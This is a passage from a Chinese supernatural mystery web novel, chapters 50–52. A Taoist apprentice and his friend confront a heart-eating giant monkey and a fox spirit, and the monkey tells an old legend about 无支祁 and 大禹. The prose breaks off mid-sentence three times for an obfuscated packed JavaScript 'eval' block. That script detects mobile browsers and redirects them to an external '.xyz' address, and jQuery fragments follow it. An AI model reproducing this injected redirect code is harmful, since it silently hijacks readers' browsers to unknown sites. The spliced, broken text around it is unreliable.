“这样最好了,只是,最好多派点人去才行,那个女人只怕不简单。”竹七九有些担忧,虽然精怪附着在人体内,实力也会随之减弱,但他也不过只懂一些皮毛,并不敢确定。
“我觉得,你才是不简单的那个。”罗明昶神色复杂,“能破除障眼法找到龙骨,又能带着我们从那么高的悬崖上跳下去都没事,面对那只怪物都能保持冷静,你到底是什么人?”
“我?我就是竹七九啊!”他使劲推了一把沙袋,一拳打过去,沙袋破了,细碎的沙子从破口处流了一地,“我师父是个老道士,我就跟着学了一点皮毛。”
“茅山道士?”
“不是,”竹七九一时语塞,“就是修道的那种老头子,反正成天也不知道忙些什么玩意儿,还逼着我也去学,不然就不给饭吃。所以,也幸亏他教了那些东西,我才能活到今天。”
“这个世界,怎么会变成这样?”
“这个世界,本来就是这样,只是以前你没注意过而已。”
“那,我们还能回到从前吗?”
“时间的齿轮不会往后的,日子只能往前看。”
“这起案子——也是那样的吗?”
“可能吧,我也不能断定,先看看后续情况才能知道。”
前门传来急切的脚步声,赵天允伸着长长的脖子跑过来:“队长,不好了,那个周栋的老婆,今天早上被人发现死在河边,心脏也被掏空了。”
等他们赶到现场,尸体附近已经围了一圈人。
这次的死状跟第一次的分尸案类似,尸体碎成一块块的,好看的脸连着上半截身子被丢在河岸边,胸口的蓝色衬衣被血染成黑色。
“这下完蛋了!”罗明昶幽幽说完这一句,叹了口气。
“队长,尸体背后写着字呢!”下水打捞尸块警员大声叫着,将上半截尸体抬上来,掀开已经破裂的衣服,这女人的后背被人画了两个字。
“亀山?”刚起床的薛暮冉因为错过这件事而懊恼不已,“繁体的‘龟山’吗?这群人是在警告我们必须要去龟山,不然就要大开杀戒,这个意思?”
“我也有这个猜测,现在那只狐狸换了身体,就更难追踪了。既然她跟无支祁不是一路的,为什么他们都要去龟山呢?”竹七九坐在门口,苦思不解。
“要不,我们就去一趟龟山呗,看看他们到底想怎么办!”薛暮冉吃着馒头建议。
“龟山啊,那多远啊,长路漫漫,谁知道会发生些什么。再说了,我们就算去了,那么大地方,去做什么也不知道,难道跟个无头苍蝇一样乱转吗?”
“这倒也是!可恨,那只狐狸什么也不说,不然还能有点头绪。那现在罗明昶打算怎么办?继续搜查‘凶手’吗?先不说那只猴子的战斗力有多强悍,加上对方神出鬼没的,还能藏在水里,想抓住那怪物,难于上青天啊!”
“眼下死了七个人,他们压力自然也不小,不能在这里闲着,只能出去乱转了。”竹七九看着空荡荡的院子,“只有我回来了,其他人都在村子里搜查。”
“可是,那个无支祁不是很怕光吗?为什么那只狐狸可以在白天出来呢?”薛暮冉吃完馒头,拍拍手,也坐下来。
“关于这个事情,我也觉得奇怪啊。按理说,无支祁那种级别的地仙,根本不用怕太阳或者火光的,可是,他却怕得很——”竹七九回忆起那夜的情形,恍然大悟,“那个镯子,无支祁手腕上有两个铁镯子,还记得吗?”
“好像是有,黑色的两圈,我开始还以为是他的毛呢!”薛暮冉也努力回忆。
“你说,会不会是因为,无支祁因为某些原因,虽然挣脱了封印,但是自身的某些力量依旧被束缚,所以还要回到龟山,彻底解开封印?”
“而那只狐狸,因为跟无支祁有仇,所以也想先一步回去龟山,毁掉能解开封印的东西,然后干掉无支祁?”薛暮冉接着猜测。
“所以,无支祁才会先下手毁了狐狸的身体,就是不想她坏了自己的计划。所以,现在他们两都想回到龟山,但是碍于身体的不自由,想借我们的手。”竹七九像是想通了这一切似的,猛地站起身。
“可是,她只要找个人附身上去不就好了,为什么要找我们呢?”
“因为附身对她来说,也很累吧,光应付日常的行动还行,要是打算出远门的话,难!现在交通虽然发达了,有火车,但是,我估计——”
“他们不会用,对吧?”
“所以要是她打算走过去,估计撑不到那天就先倒下了。”竹七九皱起眉,“所以,这狐狸可能是想要我们帮她毁了能解除无
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044054|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
支祁封印的东西,几千年了,他们的仇怨还真深。”
“照这么看,周栋八成是那只狐狸自己杀的,所以那些切口才那么平整。而其他人是无支祁干的,才会被撕得四分五裂,对吧?”
“这种可能性很大,而且,那些残肢——”他刚想说,忽然又停住,想起锅里的那双人手,胃里一阵翻涌。
“残肢怎么了?不是说没找到吗?”
“额——对,先不管这些了,”要是以后这些残肢被发现,那李国可真有口说不清了,竹七九忍不住汗颜,但是那时他也想不出更好的办法,“这样下去,只怕她还会继续杀人,不如,我们想办法找到无支祁,让他们两个见一面,看看能不能解决问题,怎么样?”
“我都听你的,你说怎么办就怎么办!”薛暮冉笑着站起身,“我们在这里也呆了好几天了,赶紧把事情解决,早点回去吧。”
“是啊,不然萧泰安要发飙了,开始说的是一周,光搭汽车来这边,加上爬山就花了一天多的时间,得抓紧了!”
傍晚,天阴沉的仿佛要下雨的样子,没过多久,空中响起阵阵闷雷。罗明昶带着一行人急匆匆回来,整张脸都写着沮丧。
竹七九趁他们不注意,打算从后门溜出去。薛暮冉趁着没人注意,偷偷顺了一把手枪藏在怀里。毕竟现在打交道的都不是正常人,他不能全靠竹七九来救命。摸着冰冷的枪身,他心里稍微有了些底气。
也许是因为近期命案的缘故,整条街道一到晚上就空无一人,连只虫子的叫声也听不见。来到河边,竹七九燃起一炷香插在泥土中,接着盘腿坐在地上,念起那套口诀。
薛暮冉在一旁看着,随手揪着杂草。不知过了多久,水面依旧平静,他用手撑着下巴,有些昏昏欲睡。
不多时,空气中传来一阵清甜的香气,像是一朵开的艳丽的花朵,在眼皮里徐徐绽放,他盯着黑暗中的花朵,只见花蕊里坐着一个女人,身段妖娆,举手投足间都牵动着他的新房。女人一头乌黑的秀发被风吹起,她伸出雪白的手轻轻整理有些乱的头发,缓缓转过身来,是一张熟悉的脸庞,有些像田芸淼,又很像那夜的青衣女子。
女人朝他走过去,拉着他走进花朵中。明亮的花瓣泛着幽幽的光芒,缓缓合上,似乎要为两人营造一个封闭的空间。
就在最后一片花瓣即将合拢的瞬间,女人变了脸色,眼神失去了浓情蜜意,变得凶狠无比,一双利爪径直插进他的心脏,一阵剧痛袭来。
“啊,疼!”他捂着自己的心脏,猛地睁开眼睛,才发现自己的手被被竹七九的香烫出印子。瞬间心脏不疼了,换成了手疼,他吹着气问道:“大师你干嘛拿香烫我?”
“我再不烫你,回头你该进阎罗殿投胎了。”竹七九有些生气,盯着水面怒道:“你如果要伤害我的朋友,这场谈话也没必要继续下去了。”
“你觉得,你有立场跟我谈这个吗?”哗啦一阵水声,一道高大的影子从水里飞出来,正是那只巨猴。
一只白色的影子在他身上飞窜而过,停在肩膀的位置,是一只通体雪白的狐狸,一双细长的眼睛发着碧绿的光。
50.第十一章 疑点重重
水面波纹散开,逐渐趋于平静。
已经放弃思考的竹七九扶起脑子不太清晰的薛暮冉,往后退了几步,叹了口气:“你们不是有仇吗?为什么现在好像关系很好的样子?怎么,几千年的怨恨在朝夕之间就烟消云散了?”
白狐跃下地面,化作一袭白衣的女子模样,媚眼如丝,勾魂摄魄。
竹七九看了一眼,不自己的转过头,冷冷道:“我说过,你要是再来迷惑我们,今天的见面也不必要了。”
“雪鸣,你先到一边待会,让我把话说完。”巨猴席地而坐,上半身已经完全赤裸,结实的胸肌在毛发之下若隐若现。
狐狸雪鸣退到一边坐在草地上,伸出来半截玉腿,在月光下闪着珍珠般的光泽.
“你们的爱恨情仇我可不感兴趣,但是如果你们坚持要继续杀人掏心,我们也不能坐视不理。”竹七九从裤子后面的口袋里掏出一枚黄符,藏在手心。
“你们别紧张,要是我真想动手,那简直易如反掌,所以,乖乖把你手里的东西放下,不然等会,你们就要提前去另一个世界了。”巨猴语调森寒,一双铜铃般的眼睛直勾勾看着竹七九。
将黄符又塞回口袋里,竹七九拖着薛暮冉坐下。
巨猴这才满意的笑了笑,厚实的嘴唇翘起一个弧度:“要想不杀人也简单,我要你们找到龟山。在这之前,我要靠吃人心来维持力量。”
“现在不像从前,你惹恼了人类,别说去龟山了,你连这个镇子都走不出去。”竹七九冷冷看着巨猴的双眼。
“哼!那我倒要试试看,小小人类能把我怎么样!”巨猴不屑的哼了一声。
“龟山离这里那么远,你是怎么过来的?现在又要回去,又是为了什么?我真搞不懂你的目的。”
“谁说,我是从龟山过来的?”
闻言,竹七九愣住了,“可是,传说中,无支祁被封印在龟山之下——”
“谁说我是无支祁了?”
“可是上次,在农家院子里,你不是说——”
“你可得想清楚了,我有没有承认,我是无支祁!”
“那你夸我有眼力?我要是猜错了,你为什么还这样说?”
“因为,我跟无支祁那老东西,的确有点渊源。”巨猴冷笑道,“我要去龟山,干掉那个老不死的!”
“你跟无支祁有仇?你到底是谁?”
巨猴看了眼满天的繁星,眼神有些哀伤,“我叫通天,是我母亲大人取的名字。”他望着自己的双手,微微握拳,“她去世,也有好多年了,我连她最后一面都没见到,就被镇压在九景山下。”
“九景山?你是——”
“那汪不知名的深潭,就是我的牢笼。也许是天意如此吧,那夜,几个人类抽了不少潭里的水,导致封印变弱,我才得以逃脱。只可惜,如今的天下跟当年已经完全不同,我单凭自己的力量,根本无法去到龟山。”
“不仅仅是这样吧?”竹七九反驳,“你已经不再是过去的地仙,如今已经堕入魔道,杀人取心,这样下去,你会越来越难以保持本性——”
“那是我的选择,与你无关。”巨猴通天眯着眼睛,脸上失去了方才讲述旧事时的怅惘之情。
河水悄无声息的流淌,在远处折射出一小片亮光,衬托得周边环境更为黑暗。
“我有我的立场,作为普通人类中的一员,我有必要保护这个族群不受伤害。那河边的五个人,包括那位狐狸小姐杀的一个,还有刚刚被你们抛弃的女子躯壳,一共七条性命。你们滥用自己的超人力量,随意伤害另一个种族的性命,我没法跟你合作。”
“说得这么冠冕堂皇,可惜你忘了,我们并不是人类,没有必要去守护你的种族。换句话来说,人类这个族群杀害了太多我与雪鸣的同类,这又如何算呢?”
“要么,你们就带领族群起来反抗人类的统治,要么,只能遵守如今的社会法则。我不想过多的讨论孰是孰非,因为那根本没有意义。”竹七九不卑不亢看着巨猴,“要么,你们就翻身做主人,要么,只能被管制。这点,你应该比我更清楚。”
通天似乎没料到对方会如此直接,当场愣住,随即哈哈大笑:“好小子!上一个敢这么跟我说话的人,已经死得尸骨无存,你是第二个。”
“你说这话,我也不会感到荣幸,只会觉得可怕。你如果继续杀人,靠人类的心脏维持着你曾经的力量,只怕我们还没找到无支祁,你就已经失去心智将我们全部杀光了。如果要我帮你,可以,你得答应我一个条件。”
“想要我不再杀生?那我要怎么恢复体力?”通天冷着脸质问。
“我有一个提议,只要去除你手腕上的封印,就能打通你与天地之间的联系。到时候,自然可以通过吸收天地精华来恢复神力,只是——”竹七九止住话头。
“只是什么?你有办法除掉这副镣铐的话,我就答应你不再杀人!”通天急得身子前倾,身后的雪鸣忙拉住他,面带怒气。
“竹七九!你分明是在炸我们!”又拍了一下通天毛茸茸的脑袋,骂道:“这么多年了,还不长记性!这么明显的试探都看不出来!”
“哼!”通天站起身,瞬间高大起来,他一把揪住竹七九的衣领,将其摔到一旁的草地上:“臭小子!敢阴我!”
扑通几声,竹七九在地上打了几个滚,缓缓坐起来,脸上沾满了灰尘,只剩下一双眼睛依旧明亮如星。
他擦掉嘴角渗出的鲜血,哈哈笑道:“可惜已经迟了,不是吗?你现在被封印着,神力无从施展,也就比普通人稍微厉害一点罢了!至于那只狐狸,现在离开了肉身只怕都活不过几个小时。你们俩现在真叫泥菩萨过江,自身难保,还想骗我带你们去龟山,当我是笨蛋吗!”
巨猴通天眼中迸发出熊熊怒火,双手紧握成拳,浑身青筋暴起,迈着沉重的脚步,走向竹七九,居高临下的看着脚下的渺小人类,他弯腰怒吼道:“就算我被封印着,想杀掉你们,依旧简单得像捏死一只蚂蚁。就算你们联合起来,又能奈我何?”
说完,冲着天上弯弯的月亮狂笑几声:“当年无支祁假意归顺水族,欺骗我母亲的感情,事后弃之如敝履。如今,我倒也被一个小小人类下了套!真是可笑啊!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047968|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“通天——”雪鸣柔柔地呼唤,“你还有我,只要杀了无支祁,找到应龙的尸骨,我们就自由了。将这个天下再收入囊中也不是不可以,这群人类统治世界已经太长久了,也是时候换个主人了。”
说到最后,语调上扬,雪鸣一张秀美的脸庞激动地泛着红光。
竹七九冷眼看着,嘲讽道:“好一对苦命鸳鸯,真会做春秋大梦!历史的车轮滚滚而下,你们还妄想让世界回到过去吗?别说现在你们已经没剩下多少神力,就算是过去的你们,也挨不了现在的人类武器。一颗炮弹打下来,整座城市都会灰飞烟灭,你们两个,又能撑到什么时候?”
“哼!人类自大的习惯还真是一如既往呢!”通天面露不屑之色,“如果人类真的做出来那样的武器,那天上那群神仙在做什么?他们一向厌恶战争,怎么可能允许有这样的东西存在?”
“因为,他们已经远离人类世界了。”竹七九抬头看着天上,“不知道多少年前,所谓的神仙已经画地为牢,进入其他地方生活,此后跟人类世界已经再无瓜葛。”
“胡说!那你又是怎么学到这些东西的?符咒,术法,还有这些古老的历史!”巨猴睁大眼睛,生气的吼着,口水喷了一地。
“因为有一些人类,妄图飞升,加入过去的‘神仙’一族,所以这些神话口耳相传,有的被编辑成书,就这样流传下来了。如今的世界,没有神仙,也没有妖怪,只剩下一些深山老林里的精怪地仙之流,还在努力的活着。”
“既然有精怪,有地仙,那跟过去又有什么区别?照样可以凌驾于人类之上,成为天下之主。”
“因为‘画地为牢’啊!”竹七九苦笑道,“现在的规则已经改变,我相信,你身后的狐狸小姐比我更清楚!如今,修炼者之中有个规定,修为越高者,活动范围越小。违者,可能会降下雷劫作为惩罚。”
巨猴呆住了,转过头扶住狐狸的肩膀,急切的问:“这是真的?那你——是怎么出来的?”
雪鸣惨然一笑,眼泪簌簌而落:“我,丢弃了兽身,将元神附在人类身上,这才得以逃出,如今已经超过七日,再也回不去了。”
“你怎么这么傻!千年的修行,怎么可以!”通天拥住面前梨花带雨的女子,满眼怜惜,“为了我,不值得!”
“族里的奶奶在月圆之夜占卜,说五月底,是你的脱身之日,我不能错过。而且山里被挖空,已经不能住了。奶奶打算带着大家转入地下生活,此后再不出来。我本想杀掉那些挖山的人类,结果无意中得知,其中有个人住在桐柏山附近,于是,我就想着利用他来见你。”
“你们要亲热,我倒是无所谓。只是,面前还有个雏鸟,只怕接受不了。”竹七九站起来,指了指两人后面。
薛暮冉拍着脑袋,终于恢复清醒:“大师!我听他们叽叽歪歪半天了,实在受不了,怎么样?今天还能顺利脱身吗?现在离太阳出来还早得很呢!”
巨猴将雪鸣护在身后,扭着僵硬的脖颈,浑身发出咔咔的骨节摩擦声:“要么,你们答应带我去龟山,要么,今夜就死在这里!”
51.第十二章 乱斗一团
肃杀的气氛在河边蔓延开,微风吹过,河面泛起阵阵涟漪,不知名的虫子在草丛里鸣叫,几只淡绿色萤火虫绕着河畔的野草轻轻飞舞,尾巴一闪一闪。
“那我们就试一试!”竹七九掏出黄符,嘴唇一张一合念个不停,另一只手在绢布袋里掏出一把驱虫散,以备不时之需。
霎时间,黄符一变为八,将站在中间的两人围住,绕着他们飞速旋转,一阵黄色粉末随风飞扬,全部撒进黄符圈内。竹七九大吼:“快跑!撑不了多久!”
薛暮冉大叫道:“又是逃啊!”
两人沿着河流往派出所方向狂奔而去,时不时转头张望,直到跑出很远也没见到有人追过来,这才渐渐放了心,脚步也随之放缓。
“真不是我说你!大师,每次都是逃命,从我第一次碰见你,就跟我说要见机行事,做好逃命的准备。直到现在,次次都是这样,什么时候我们也能硬气一点啊?”
“硬气?我这点本事怎么硬的起来?”竹七九说起自己的无能,倒也能作出一副理所当然的样子。
“那这件事,你打算怎么处理?如果放着不管,他们还会继续杀人吧?”薛暮冉叹了口气,似乎颇为苦恼。
“我已经想出来一个主意,就是,要借助罗大队长的本事!”
“他?他能有什么本事?”
“武器啊!现在只能依靠人类的智慧,将那只猴子抓住!然后送他去龟山——”
“什么?”薛暮冉大惊失色,“既然抓住了,为什么还要送他去龟山?”
“不然还能怎么办?九景山的封印已经被他挣脱了,只能再找个地方关住他。至于那只狐狸,我们不管她,要不了多久就会形神俱灭。不过,也是她自找的,我也没办法了!”
“大师,我搞不懂唉,直接杀了那怪物不好吗?他已经杀了这么多人,我们以命偿命也不算过分吧?”
“薛暮冉!你可别忘了,我们不是一个种族!”竹七九第一次板起脸,“各自立场不同,不能一概而论。如果有一天猴子翻身做主人,对于那些曾经杀过猴子的屠夫,就要尽数杀尽吗?”
“可是——”薛暮冉低下头,找不出合适的说辞。
“人类的世界,可以杀人偿命,但是不同的事情,要不同的去看待。”
沉默了半晌,薛暮冉才开口:“我想问你一个问题,大师你是哪一边的?”
竹七九停下脚步,眼睛呆呆看着前方。薛暮冉也停住,站在他对面,直勾勾看着他。
“我不知道。”竹七九低声回答。
“那你会站到人类的对立面吗?”
“我——”眼睛迷茫的看着虚无的天空,“目前来说不会,至于以后,没发生的事情,我下不了判断。”
两个人面对面站着,都不说话。好一会过后,薛暮冉像是主动投降似的,重重叹了口气,“我希望,能永远跟你站在同一边。”
“我也是。”
这句话像是一个齿轮,让时间重新开始流动。两人继续往派出所走着,薛暮冉看着不远处的派出所大门,建议道:“你如果直接跟罗明昶说这件事,他肯定不会答应。如果真想借助他们的力量抓住那只猴子,我们还是换个理由吧。”
“换什么?”竹七九皱起眉头。
“要不,就说那只猴子是稀有品种,要送去龟山的动物园进行保护?”
“哈?”竹七九满脸鄙夷,“刚刚正经了几分钟,现在又恢复原样了!你觉得这个理由是个正常人,能答应吗?更何况,罗明昶见过那只猴子,现在想骗他,更是难上加难。”
“要不,说那猴子变异,有狂犬病!要送去国家实验室治疗?然后我找萧队长假装一下,揽下这个活。猴子有病的话,罗明昶肯定不会抢着要!到时候我们暗地里再押送那家伙去龟山?”
“这个——好像行得通啊!”竹七九一拍手,乐得满眼笑意,“那最后猴子没送到,害了萧泰安,我倒是于心不忍。”
“这有什么?就说遇见山贼打劫,猴子趁乱跑了,反正到时候就我们几个,随便找个理由就是了!”薛暮冉一副满不在乎的样子。
“行吧,眼下只能这样了。”竹七九打定主意,要诳一把罗队长。
回到派出所,罗明昶独自坐在办公大厅里,面色冷峻,一看见他们两个回来,立刻跑过来质问:“你们不知道孰轻孰重吗?大晚上到处乱跑!要是连你们都出了事,我可怎么跟萧泰安交代!”
自知理亏的两人都乖乖认错,低着头道歉。气氛这才稍稍缓和。见对方情绪逐渐平复,竹七九笑着上前勾住他的后背:“有一件事,不过,只是我们的猜测,怎么样?要不要听听?”
一番花言巧语,将罗明昶说的摸不着头脑,最终,迷迷糊糊答应使出派出所里全部家当,实施围捕行动。
说回巨猴通天这边,他盯着眼前不断旋转的黄符,以及空气中弥漫不散的驱虫散的气味儿,情绪急躁的可怕。眼见着雪鸣已经支撑不住,缓缓倒下,靠在他脚边。他伸手想挣断手腕上的封印,可惜方一碰触,一股剧痛从指尖直直通向心脏。
“额——啊——”一声巨吼,气浪冲散了这几张符咒,他赶忙抱起昏迷的雪鸣,跳进密林之中。这时一张黄符幽幽飞起,默不作声的紧跟其后,贴在巨猴坚实的脊背之上。
第二天,竹七九掏出一炷清香点燃,顺着青烟飘去的方向,带着薛暮冉打头阵。罗明昶率领其他人在不远处待命。
“他们要是知道你是拿这炷香来判断方位的话,估计要气死!”薛暮冉在一旁偷笑,一边回头看向满头大汗的罗队长以及那一高一矮两个下属。
“不过啊,整个环溪村的派出所就这么点人,我还真的有点惊讶。”竹七九看着身后那三个腰间别着枪的人,忍不住有些失望。
“没办法啊,派出所里还得留人看守嘛。再说了,这里只是村子级别的派出所,又不是镇上的警局,人员配备自然比不上彩衣镇啊。”
“好吧,”竹七九叹叹气,忽
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051499|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然停下脚步,“就在前面,注意警惕。”
眼前的这炷香直直的飘向斜前方,是一处长满青色藤蔓的山脚。竹七九将香按在树上熄灭,残留的部分则塞进怀里。他上前盯着那些碧绿的长条植物,伸手左右拨弄,结果露出一个黑漆漆的洞口。
伸手招呼罗明昶过来,几人一齐将这些藤蔓扯掉,露出的洞口足有一米多高。掏出手电筒往里照着,结果光芒被黑暗吞噬,里面的情形丝毫看不清。
无奈,竹七九找了一些干柴,混着新鲜的藤条,在洞口烧起火堆。其他几人将外套脱下来,用来当扇子,将滚滚浓烟全部送进洞里。
不知过了多久,洞里面依旧没有动静。竹七九也有些疑惑,让众人先停下歇息,等会再想想办法。薛暮冉走过来小声询问:“大师,这次该不会不灵了吧?”
“按理说不会啊,要不就是他们在里面引诱我们进去,要不就是,那张符被他们发现了,然后就贴在这里面耍我们。”
“那现在怎么办?我们要进去查看吗?万一他们正躲在哪里准备伏击,我们就比较被动了。”
“你相信我吗?”竹七九忽然开口,“我们俩进去,你信得过我吗?”
“大师,到现在你还问这句话,我真的有点伤心哦!”薛暮冉微微笑着,“除了萧队长跟师姐,你是这里第三个我愿意相信的人。”
“第三个啊——”竹七九重复着,“也还行吧。”哈哈一笑,他又恢复成往日漫不经心的样子,冲罗明昶打过招呼,带着薛暮冉钻进洞里。
空气中的浓烟还未完全散去,他们捂着口鼻,借着手电筒微弱的光芒在黑暗里艰难视物。不知走了多久,空气里的呛人味道逐渐淡不可闻,他们所处的空间也逐渐宽敞起来。原来整座山的下面都是空的,四面有微风吹过,似乎通道远不止一条,中心位置更是宽阔的像一座气势恢宏的宫殿。
“对了,这座山也属于桐柏山吧?”竹七九像是想到了什么,神色有些紧张。
“对啊,这附近的山脉都属于桐柏山,这座,应该也是吧。”薛暮冉也不确定,对于这片地区,他也是外来客。
一阵清风拂过脸庞,夹杂着动人的幽香,像是一坛陈年老酒刚刚打开盖子,让人肚内酒虫打滚,又酸又疼。又仿佛是一片节满桃子的果园,成熟腐烂的桃子挂在枝头,引诱麻雀来啄食。
几道绿光闪过,左右的山壁上出现一排铜制的烛台,一根根粗壮的蜡烛燃着如同萤火一般的光芒。
碧绿的光也照亮了前方的山洞,眼前竟然耸立着一座巍峨宫殿,雕梁画栋,飞檐卷翘,四角都悬挂着青铜的铃铛,门口左右各悬着一盏长明油灯,此时也发出幽幽绿光。
“桐柏山——淮涡水神——无支祁——水龙珠——难道——”竹七九这时如同大梦初醒一般,猛地拉着薛暮冉往后退。
身后无边的黑暗中,传来一阵脚步声,以及女子如银铃般的笑声。
“通天,他们好像害怕了呢!”女人低低嗤笑。
52.第十三章 旧日之因
脚步声越来越近,很快,巨猴高大的身影在黑暗中显现出来,肩膀上趴着一只雪白的狐狸,长而蓬松的尾巴正轻轻搭在猴子头顶。
“原来,那具龙骨,就是你母亲的尸骨!”竹七九往后退了几步,“这里,是她的坟墓,对吗?你们故意引诱我们进来,是想用活人献祭给你母亲吗?”
“献祭?我母亲已经死了几千年了,再献祭又有什么用呢?”巨猴露出悲伤的笑容,径自走到宫殿前方坐下,“死亡,有时候并不是一件坏事,反而活着的那一方才是痛苦的。”
“那你们现在是想要做什么?”薛暮冉倒是不害怕,也走过去并排坐下。
在宫殿前的烛火下,这一高一矮两个影子被拉的老长,竹七九犹豫片刻后,也走过去坐下。
“我想,让你们带我去龟山。”平静的语气,毫无起伏的音调,像是一潭死水。
“你神力不能恢复,就算去了龟山,又能打得过真正的无支祁吗?竹七九无奈的劝说,“更何况,你已经杀了人,再过不久就会魔化,到时候你连自己是谁都记不得,去了龟山又能怎么样?”
“事情没做之前,不需要考虑那么多。只有做过之后,才知道结局。”通天垂下眼帘,好一会后才开口,“你们,想听一个故事吗?”
也不等他们回答,他望着前方宫殿的台阶,开始诉说这千年之前的往事。
那是三皇五帝的蛮荒时代,中华大地,英才辈出。某日,水神共工撞毁不周山,导致天空塌陷,大地洪水肆虐。于是,天地之间出了一个治水奇才——大禹。
他疏通河道,移山填海,最终让中华大地恢复平和。无支祁的故事,只是其中一个小小的插曲。
当时大禹已经娶了涂山氏为妻,可惜为了治水,只好弃家而去。带领崇伯与夏伯,以及一干将领,终日在大江大河,巨峰高山之间生活。
于是盛名在外,很多山精妖怪慕名前来投效,协助治水,只求日后能积攒功德飞升成仙。无支祁也是其中之一,只是他并不想成仙,而是爱慕大禹的风姿,于是化作一个貌美的女子,引诱大禹,最终,诞下一子,名为齐天。
“什么?无支祁不是男的吗?”薛暮冉大惊失色。
“无支祁本是女娲补天时,打算用的石子中的一块。因为资质不好,所以被丢弃,因此残留在大地上,吸收日月精华日久,逐渐化作人形。无父无母,非雌非雄。”雪鸣解释道。
“不久,大禹来到淮水一带,因当地水神一族拒绝改变河道,他就动了气,派出鸿蒙氏出战,扫除当地水族妖孽。结果,当时大禹手下的一众将领早已对他一心治水,不求利益的行为心生不满,所以都找借口不愿意出这个头。”
“所以,无支祁最后主动请缨,去攻打水族吗?”薛暮冉忍不住,再次询问。
通天头也不回,继续说道:“无支祁化作九尺巨猴,耍着一根万斤重的铁棒,砸开了水族大门。当然,很快被擒住,他毕竟不是水中一族,水性其实并不好。但是,龙女看中他的英武,于是数次劝降,他最终还是答应了,留在龙宫之中。”
说到这里,他叹了口气,似乎不愿回忆这段往事,但这千年的恩怨,他不愿意让过去尘封水底,像他过去的那些年一样不见天日。于是,又接着往下说。
“开始这段时间,无支祁的确很尽心尽力,打退来犯的人类。很快,他跟龙女有了孩子,取名为通天。此后龙神对他更加器重,将水族兵权全部交于无支祁管理。于是,他们第二个孩子刚出世,连名字都没取,他趁着龙女产后身体虚弱,大开龙宫大门,让那群人类部落的首领长驱直入,残杀水族。”
“为首的,就是应龙,他穿着一身明黄色的长袍,忽然现出真身来,巨大的龙尾将整座龙宫毁得七零八落。我外公,曾经的水神,也是一条龙。只是当时他已经好几百岁了,长长的胡须已经全白,脸上皱纹遍布。他拼尽全力,以这副苍老的身躯与当时正在壮年的应龙对战,很快,落於下风,被当场擒住。”
“母亲拼尽全力,带着我跟刚出世的弟弟逃了出来。忽然,应龙的尾巴在宫殿内狂扫不止,巨大的气浪将我们冲散。我随着水流漂着,来到一处不知名的地方,看见了无支祁,还有,大禹。”
“无支祁跪在地上,抓着大禹的衣摆大哭不已。心里只觉得可笑,既然选择了这条背叛的路,又假惺惺的哭做什么?只是,当时看着大禹眼里的冷漠,我竟然还有几分同情他了。这时,大禹也注意到我,打算走过来的时候,他一把抱住大禹,让我快走。恰好这时母亲也过来了,拉着我往一处幽暗的密道走去。”
“不知道过了多久,眼前一片光亮,原来到了族里养殖夜明珠的地方,母亲将我跟弟弟塞进一只巨大的蚌壳里面,叮嘱我,千万要等到了安全的地方才能出来。然后合上蚌壳。我就再也没见过她那张始终带着笑意的脸庞。”
“我跟刚出世的弟弟在蚌壳里浮浮沉沉,不知道过了多久,我偷偷打开蚌壳,看到外面一片明亮,周边似乎没有危险的迹象,于是打开蚌壳,抱着弟弟下水找些食物。我在那条不知名的河流里生活着,身体日渐强壮。弟弟也很快的长大了,但是他对曾经发生的一切都没有记忆,成天开心的在水里戏耍。于是,我给他取了个名字,叫耍耍二郎。”
“好景不长,很快,大禹的手下夔龙发现了我们的踪迹,在水里追逐一番后,我跟弟弟被他抓住。他带着我们去见应龙,原来此时大禹已经离开,去到下一处河道继续治水。只剩下这群得力助手在帮他扫平残留余孽。”
“我问应龙,其他水族的去向,以及,我外公,母亲,和那只猴子的下落。应龙冷笑着,告诉我他们都死了,只剩下我跟弟弟。我拼尽全力想杀了他,可惜,我当时年岁尚小,力量微弱,被应龙用脚踩住,我就丝毫也动不了。他继续说着血淋淋的话,说我外公已经被他打得四分五裂,连尸骨都没了。我母亲被他活埋在桐柏山中,将在受尽苦楚后死亡。而那只臭猴子,因为剿灭龙族有功,本可以留下一命,只是,他愿意用自己的余生的自由,换取这对儿子的生命。”
“所以,我们可以继续苟延残喘,被应龙所在桐柏山下的深潭之中。小弟因为体弱,很快也去世了。我沉在水底,手脚都动弹不了,只能看着他的身体被鱼类蚕食殆尽。就这样过了几千年,桐柏山也裂成几座,我被关押的这侧现如今,也改了名字,变成九景山。”
故事结束了。
一向话多的薛暮冉竟然也破天荒的闭了嘴,不在问些奇奇怪怪的东西,坐在一边不知道在想什么。竹七九此刻心情也十分复杂,难以形容,他问道:“你想找无支祁,真的是为了杀他吗?”
“你知道吗?我母亲当时其实并没
